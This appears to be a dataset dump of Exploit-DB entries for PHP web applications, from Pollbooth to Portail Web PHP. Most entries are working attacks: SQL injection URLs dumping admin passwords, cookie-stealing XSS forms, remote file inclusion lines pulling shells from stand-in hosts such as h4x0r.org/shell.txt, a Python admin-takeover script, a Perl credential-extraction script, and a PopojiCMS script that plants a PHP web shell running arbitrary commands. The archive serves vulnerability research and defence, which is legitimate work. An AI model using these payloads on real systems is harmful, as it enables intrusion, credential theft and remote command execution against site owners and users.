deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5436
Description: Pollbooth 2.0 - 'pollID' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-13
Author: S@BUN

Exploit:
############################################
#
# Pollbooth v2.0 SQL Injection Vulnerability
#
############################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
##WEBSiTE: http://www.xcorpitx-hack.com/Forum/
####BLOG : http://my.opera.com/SQL-Injection/blog/
####MAiL : hackturkiye.hackturkiye@gmail.com
#
#############################################
#
# DORK 1 : allinurl: "pollBooth.php?op=results"pollID
#
#############################################
EXPLOiT :

pollBooth.php?op=results&pollID=-1+union+select+password,1,2,3+from+users

*********************************************
WEBSiTE>>>http://www.xcorpitx-hack.com/Forum/
*********************************************
********************S@BUN********************
*********************************************

# milw0rm.com [2008-04-13]
Exploit-DB #24911
Description: Pollen CMS 0.6 - 'index.php?p' Paramete' Local File Disclosure
Type: webapps
Platform: php
Date: 2013-04-02
Author: MizoZ

Exploit:
# Title: Pollen CMS <= 0.6 - Local File Disclosure
# Google Dork: intext:"Powered by Pollen CMS"
# Date: 25 Mars 2013
# Exploit Author: MizoZ
# Vendor Homepage: pollencms.com (BROKEN)
# Software Link: https://code.google.com/p/pollencms/
# Version: 0.6
# Tested on: Ubuntu Desktop 12.04

-- File "[path]/core/lib/readimage.php"

02 - $image=urldecode($_GET["image"]);
03 - if(is_file($image)){
04 - header("Pragma: no-cache");
05 - header("Expires: 0");
06 - header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
07 - header("Cache-Control: no-cache, must-revalidate");
08 - header("Content-type: image/jpg");
09 - readfile($image);
10 - }else{
11 - header("HTTP/1.0 404 Not Found");
12 - }


-- Problem

   The script only verifies the existence of the given file.


-- Exploit
http://<server>/<path>/core/lib/readimage.php?image=[php urlencoded path to file]
Exploit-DB #7690
Description: PollHelper - Remote Configuration File Disclosure
Type: webapps
Platform: php
Date: 2009-01-06
Author: ahmadbady

Exploit:
  Remote Config File Disclosure
----------------------------------------------------
script: PollHelper
   
***************************************************************************
download from:http://www.freedville.com/oss/PollHelper.zip
   
***************************************************************************
vul:

www.site.com/path/poll.inc
...............................
  $dbhost = "";
  $dbusername = "";
  $dbuserpass = "";
  $default_dbname = ";
..............................
-------------------------------------------------
-------------------------------------------------  
*************************************************

Author: ahmadbady 

*************************************************

# milw0rm.com [2009-01-06]
Exploit-DB #51277
Description: POLR URL 2.3.0 - Shortener Admin Takeover
Type: webapps
Platform: php
Date: 2023-04-06
Author: p4kl0nc4t

Exploit:
# Exploit Title: POLR URL 2.3.0 - Shortener Admin Takeover
# Date: 2021-02-01
# Exploit Author: p4kl0nc4t <me-at-lcat-dot-dev>
# Vendor Homepage: -
# Software Link: https://github.com/cydrobolt/polr
# Version: < 2.3.0
# Tested on: Linux
# CVE : CVE-2021-21276


import json

import requests

payload = {
    'acct_username': 'admin',
    'acct_password': 'password',
    'acct_email': 'email@youremail.com',
    'setup_auth_key': True,
}

r = requests.get('http://localhost/setup/finish',
                 cookies={'setup_arguments': json.dumps(payload)})
print(r.text)
Exploit-DB #5941
Description: polypager 1.0rc2 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-26
Author: CWH Underground

Exploit:
=================================================================
  PolyPager <= 1.0rc2 (SQL/XSS) Multiple Remote Vulnerabilities
=================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 26 June 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : PolyPager
 VERSION     : <= 1.0rc2
 VENDOR      : http://polypager.nicolashoening.de/
 DOWNLOAD    : http://downloads.sourceforge.net/polypager
#####################################################

--- Remote SQL Injection (nr) ---

---------
 Exploit
---------

[+] http://[Target]/[polypager_path]/?[Web Page]&nr=[SQL Injection]

This exploit can dump username and password in clear text

-------------
 POC Exploit
-------------

[+] http://192.168.24.25/polypager/?Test&nr=-999/**/UNION/**/SELECT/**/1,2,3,4,admin_name,admin_pass,7,8,9,10/**/FROM/**/_sys_sys--


--- Remote XSS ---

---------
 Exploit
---------

[+] http://[Target]/polypager/?[Web Page]&nr=[XSS]

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-26]
Exploit-DB #35736
Description: poMMo Aardvark PR16.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-05-10
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47786/info

poMMo is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

<form action="http://www.example.com/admin/setup/config/general.php" method="post" name="main">
<input type="hidden" name="list_name" value="Mailing List">
<input type="hidden" name="site_name" value='poMMo"><script>alert(document.cookie)</script>'>
<input type="hidden" name="site_name" value="poMMo Website">
<input type="hidden" name="site_url" value="http://www.example.com/">
<input type="hidden" name="site_success" value="">
<input type="hidden" name="site_confirm" value="">
<input type="hidden" name="list_confirm" value="on">
<input type="hidden" name="list_exchanger" value="mail">
</form>
<script>
document.main.submit();
</script>


2.

http://www.example.com/index.php?referer=1"><script>alert(document.cookie)</script>


3.

<form action="http://www.example.com/admin/subscribers/subscribers_groups.php" method="post" name="main">
<input type="hidden" name="group_name value='group"><script>alert("XSS")</script>'>
</form>
<script>
document.main.submit();
</script>


4.

<form action="http://www.example.com/admin/setup/setup_fields.php" method="post" name="main">
<input type="hidden" name="field_name" value='1"><script>alert(document.cookie)</script>'>
<input type="hidden" name="field_type" value="text">
</form>
<script>
document.main.submit();
</script>
Exploit-DB #34095
Description: PonVFTP - 'login.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-01-15
Author: S2K9

Exploit:
source: https://www.securityfocus.com/bid/40608/info

PonVFTP is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following example data is available:

password: 'or' 1=1
Exploit-DB #11148
Description: PonVFTP - Bypass / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-01-15
Author: S2K9

Exploit:
in the name of allah

# Exploit Title: PonVFTP Bbypass Vulnerability
# Date: 15/1/2010

# Author:S2K9

# Site: www.soqor.net , www.xp10.me

# Software home: http://pongles.com/index.php

# Tested on: windows xp sp2

Dork :in u r dream

exploit : press login >>>
username : admin
password : 'or' 1=1
press in
yaaaaay u r in hehe
good look
go to browse and upload your shell

Greetz : R3d-D3v!L <<< my teacher and every Muslim hacker
Exploit-DB #33994
Description: PonVFTP - Insecure Cookie Authentication Bypass
Type: webapps
Platform: php
Date: 2010-05-17
Author: SkuLL-HackeR

Exploit:
source: https://www.securityfocus.com/bid/40207/info

PonVFTP is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain administrative access to the affected application, which may aid in further attacks. 

The following example data is available:

javascript:document.cookie="username=admin";
Exploit-DB #3121
Description: Poplar Gedcom Viewer 2.0 - 'common.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-12
Author: GoLd_M

Exploit:
/###################################################################\
# Poplar Gedcom Viewer v2.0 final                                   #
# =========================================================         #
# Published : 2007-01-00                                            #
# Remote: Yes                                                       #
# Site:ftp://ftp1.comscripts.com/PHP/689_poplarge-20.zip            #
#####################################################################
# Author: GolD_M = Mahmood_ali                                      #
# Contact: HackEr_@W.Cn                                             #
# =====================================================             #
# ThanX =All My Friends& ABDULLAH00& THE GENERAL & Asb-May.Net      #
# SpeciaL GreeTz : Tryag-Team & 4lKaSrGoLd3n-Team                   #
\###################################################################/
# In :                                                              #
# /include/common.php                                               #
# Line:                                                             #
# 51                                                                #
# Vulnerable Code:                                                  #
# include_once( $env['rootPath'].'/include/adodb/adodb.inc.php' )   #
# 3XP|0!T :                                                         #
# /include/common.php?env[rootPath]=[EV!L-CODE]                     #
#                                                                   #
#             /#######################################\             #
#             #         Tryag.Com & Dwrat.Com         #             #
#             \#######################################/             #
\###################################################################/

# milw0rm.com [2007-01-12]
Exploit-DB #31605
Description: Poplar Gedcom Viewer 2.0 - Search Page Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-04-04
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28608/info

Poplar Gedcom Viewer is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Poplar Gedcom Viewer 2.0 is vulnerable; other versions may also be affected.

http://www.example.com/poplar/index.php?genID=1&page=search&text="><script>alert("CANAKKALE-GECiLMEZ")</script>&ul=&start=0 http://www.example.com/poplar/index.php?genID=1&page=search&text=&ul="><script>alert("CANAKKALE-GECiLMEZ")</script>&start=0
Exploit-DB #52022
Description: PopojiCMS 2.0.1 - Remote Command Execution (RCE)
Type: webapps
Platform: php
Date: 2024-05-19
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: PopojiCMS 2.0.1 - Remote Command Execution
# Date: 14/04/2024
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.popojicms.org/
# Software Link:
https://github.com/PopojiCMS/PopojiCMS/archive/refs/tags/v2.0.1.zip
# Version: Version : 2.0.1
# Tested on: https://www.softaculous.com/apps/cms/PopojiCMS

import requests
import time
import sys

def exploit(url, username, password):

login_url = f"{url}/po-admin/route.php?mod=login&act=proclogin"
login_data = {"username": username, "password": password}
headers = {"Content-Type": "application/x-www-form-urlencoded", "Referer": f
"{url}/po-admin/index.php"}
session = requests.Session()
login_response = session.post(login_url, data=login_data, headers=headers)
if "Administrator PopojiCMS" in login_response.text:
print("Login Successful!")
time.sleep(1) # 1 saniye bekle
else:
print("Login Failed!")
return

edit_url = f"{url}/po-admin/route.php?mod=setting&act=metasocial"
edit_data = {"meta_content": """<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>"""}
edit_response = session.post(edit_url, data=edit_data, headers=headers)
if "cmd" in edit_response.text:
print("Your shell is ready:", url)
time.sleep(1)
else:
print("Exploit Failed!")
return

if __name__ == "__main__":
if len(sys.argv) != 4:
print("Kullanım: python exploit.py sitename username password")
sys.exit(1)

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
print("Exploiting...")
time.sleep(1)
print("Logging in...")
time.sleep(1)
exploit(url, username, password)
Exploit-DB #51982
Description: PopojiCMS Version 2.0.1 - Remote Command Execution
Type: webapps
Platform: php
Date: 2024-04-12
Author: tmrswrr

Exploit:
# Exploit Title: PopojiCMS Version : 2.0.1  Remote Command Execution
# Date: 27/11/2023
# Exploit Author: tmrswrr
# Vendor Homepage: https://www.popojicms.org/
# Software Link: https://github.com/PopojiCMS/PopojiCMS/archive/refs/tags/v2.0.1.zip
# Version: Version : 2.0.1
# Tested on: https://www.softaculous.com/apps/cms/PopojiCMS

##POC:

1 ) Login with admin cred and click settings
2 ) Click on config , write your payload in Meta Social > <?php echo system('id'); ?>
3 ) Open main page , you will be see id command result 


POST /PopojiCMS9zl3dxwbzt/po-admin/route.php?mod=setting&act=metasocial HTTP/1.1
Host: demos5.softaculous.com
Cookie: _ga_YYDPZ3NXQQ=GS1.[PII_REDACTED].3.[PII_REDACTED].0.0.0; _ga=GA1.1.386[PII_REDACTED]082112; AEFCookies1526[aefsid]=3cbt9mdj1kpi06aj1q5r8yhtgouteb5s; PHPSESSID=b6f1f9beefcec94f09824efa9dae9847; lang=gb; demo_563=%7B%22sid%22%3A563%2C%22adname%22%3A%22admin%22%2C%22adpass%22%3A%22password%22%2C%22url%22%3A%22http%3A%5C%2F%5C%2Fdemos5.softaculous.com%5C%2FPopojiCMS9zl3dxwbzt%22%2C%22adminurl%22%3A%22http%3A%5C%2F%5C%2Fdemos5.softaculous.com%5C%2FPopojiCMS9zl3dxwbzt%5C%2Fpo-admin%5C%2F%22%2C%22dir_suffix%22%3A%229zl3dxwbzt%22%7D
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://demos5.softaculous.com/PopojiCMS9zl3dxwbzt/po-admin/admin.php?mod=setting
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Origin: https://demos5.softaculous.com
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

meta_content=%3C%3Fphp+echo+system%28%27id%27%29%3B+%3F%3E

Result: 

uid=1000(soft) gid=1000(soft) groups=1000(soft) uid=1000(soft) gid=1000(soft) groups=1000(soft)
Exploit-DB #4481
Description: Poppawid 2.7 - 'form' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-02
Author: 0in

Exploit:
#Poppawid Remote File include
#f0und bY 0in
#Greetings to: All Dark-Coders Team Members
#IRC: #dark-coders at warszawa.irc.pl
#About:popper_mod-wid is a free (and popular), full featured web based email client
#Download:http://poppawid.sourceforge.net/
#No dork for script kiddies..;]
#Register_globals=On
#BUG:
poppawid/mail/childwindow.inc.php:33:                                   <?php include($form.".form.inc.php");?>
Expl0it:
http://x.com/[path]/mail/childwindow.inc.php?form=http://h4x0r.org/shell.txt?

# milw0rm.com [2007-10-02]
Exploit-DB #2351
Description: Popper 1.41-r2 - 'form' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: SHiKaA

Exploit:
#==============================================================================================
#Popper <= v1.41 (form) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://popper.ractive.ch/      
#                                                                      
#Version : v1.41                                             
#
#================================================================================================
#Bug in : childwindow.inc.php
#
#Vlu Code :
#--------------------------------
#
#     <?php include($form.".form.inc.php");?>
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/childwindow.inc.php?form=http://SHELLURL.COM?&cmd=id
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : CCtream - Cyper-worrier team
# Special Thx To : Str0ke & simoo
==================================================================================================

# milw0rm.com [2006-09-12]
Exploit-DB #25788
Description: Popper Webmail 1.41 - 'ChildWindow.Inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-06-03
Author: Leon Juranic

Exploit:
source: https://www.securityfocus.com/bid/13851/info

Popper is affected by a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/popper/childwindow.inc.php?form=http://www.example.com/test
Exploit-DB #35831
Description: PopScript - 'index.php' Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2011-06-06
Author: NassRawI

Exploit:
source: https://www.securityfocus.com/bid/48113/info

PopScript is prone to a remote file-include vulnerability, an SQL-injection vulnerability and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to execute arbitrary local and remote scripts in the context of the webserver process, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass the authentication control. 

http://www.example.com/PopScript/index.php?act=inbox&mode=1 [ SQL injection ]
http://www.example.com/index.php?mode=[Shell txt]?&[CREDENTIAL_REDACTED]=ON
Exploit-DB #11126
Description: Populum 2.3 - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-13
Author: SiLeNtp0is0n

Exploit:
# Exploit Title: Populum SQL injection vulnerability
# Author: -[SiLeNtp0is0n]-
# Version: 2.3

::::::::::::::ProUd to Be InDiaN::::::::::::::

~AuthoR : -[SiLeNtp0is0n]-
~Vuln. App : Populum version 2.3
~App Detail : Content management software for hybrid blog/media/commerce communities
~VuLneraBiLity : SQL injection
~DoRk : "Powered by Populum"
~My HoMe : www.andhrahackers.com
~gReetZ : Mr.XXXX ShRushe tRif0Rce h3LLb0y bRonRiC
~SpL gReetZ : TeamICW

:::::::::::::::::::::::::::::::::::::::::::::::

Vulnerable :

127.0.0.1/populum/diarypage.php?did=[SQL injection]
127.0.0.1/populum/link.php?id=[SQL injection]
Exploit-DB #2081
Description: Portail PHP 1.7 - 'chemin' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-27
Author: Mehmet Ince

Exploit:
Portail PHP v1.7 <- (chemin) Remote Inclusion Vulnerability

#Author: xoron

#script: Portail PHP

#Class : Remote

#cont@ct: x0r0n[at]hotmail[dot]com

#CODE:    include ("$chemin/include/config.php")

#Exploit:
http://www.site.com/[path]/mod_membre/inscription.php?chemin=http://evil_scripts?

#Thanx : WWW.CYBER-WARRiOR.ORG

#Greetz: DJR, x-mastER, R3D4C!D and all cyber-warrior users.

# milw0rm.com [2006-07-27]
Exploit-DB #1031
Description: Portail PHP < 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2005-06-06
Author: Alberto Trivero

Exploit:
#!/usr/bin/perl -w
#
# SQL Injection Exploit for Portail PHP < 1.3
# This exploit show the username of the administrator of the portal and his password crypted in MD5
# Related advisory: http://www.securityfocus.com/archive/1/398728/2005-05-21/2005-05-27/0
# Coded by Alberto Trivero

use LWP::Simple;

print "\n\t=================================\n";
print "\t= Exploit for Portail PHP < 1.3 =\n";
print "\t= Alberto Trivero - codebug.org =\n";
print "\t=================================\n\n";

if(!$ARGV[0] or !($ARGV[0]=~m/http/)) {
   print "Usage:\nperl $0 [full_target_path]\n\n";
   print "Examples:\nperl $0 http://www.example.com/portailphp/\n";
   exit(0);
}

$url=q[index.php?affiche=Liens&id=1%20UNION%20SELECT%20null,null,null,null,null,null,US_pwd,US_nom,null%20FROM%20pphp_user/*];
$page=get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page=~m/0000-00-00, 0  \)<\/i>     <br><br><br><br><\/td>   <\/tr>   <tr>     <td width='100%'>(.*?)<\/td>   <\/tr>/ && print "[+] Username of administrator is: $1\n";
print "[-] Unable to retrieve username\n" if(!$1);
$page=~m/<img border='0' src='\.\/images\/ico_liens\.gif' >&nbsp;<b> <\/b>: (.*?)<\/td>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);

# milw0rm.com [2005-06-06]
Exploit-DB #31107
Description: Portail Web PHP 2.5.1 - 'conf-activation.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-02-04
Author: Psiczn

Exploit:
source: https://www.securityfocus.com/bid/27616/info

Portail Web Php is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect Portail Web Php 2.5.1.1; other versions may also be affected. 

http://www.example.com/path/admin/system/config/conf-activation.php?site_path=http://www.example2.com
Exploit-DB #31109
Description: Portail Web PHP 2.5.1 - 'conf_modules.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-02-04
Author: Psiczn

Exploit:
source: https://www.securityfocus.com/bid/27616/info
  
Portail Web Php is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
These issues affect Portail Web Php 2.5.1.1; other versions may also be affected. 

http://www.example.com/path/admin/system/modules/conf_modules.php?site_path=http://www.example2.com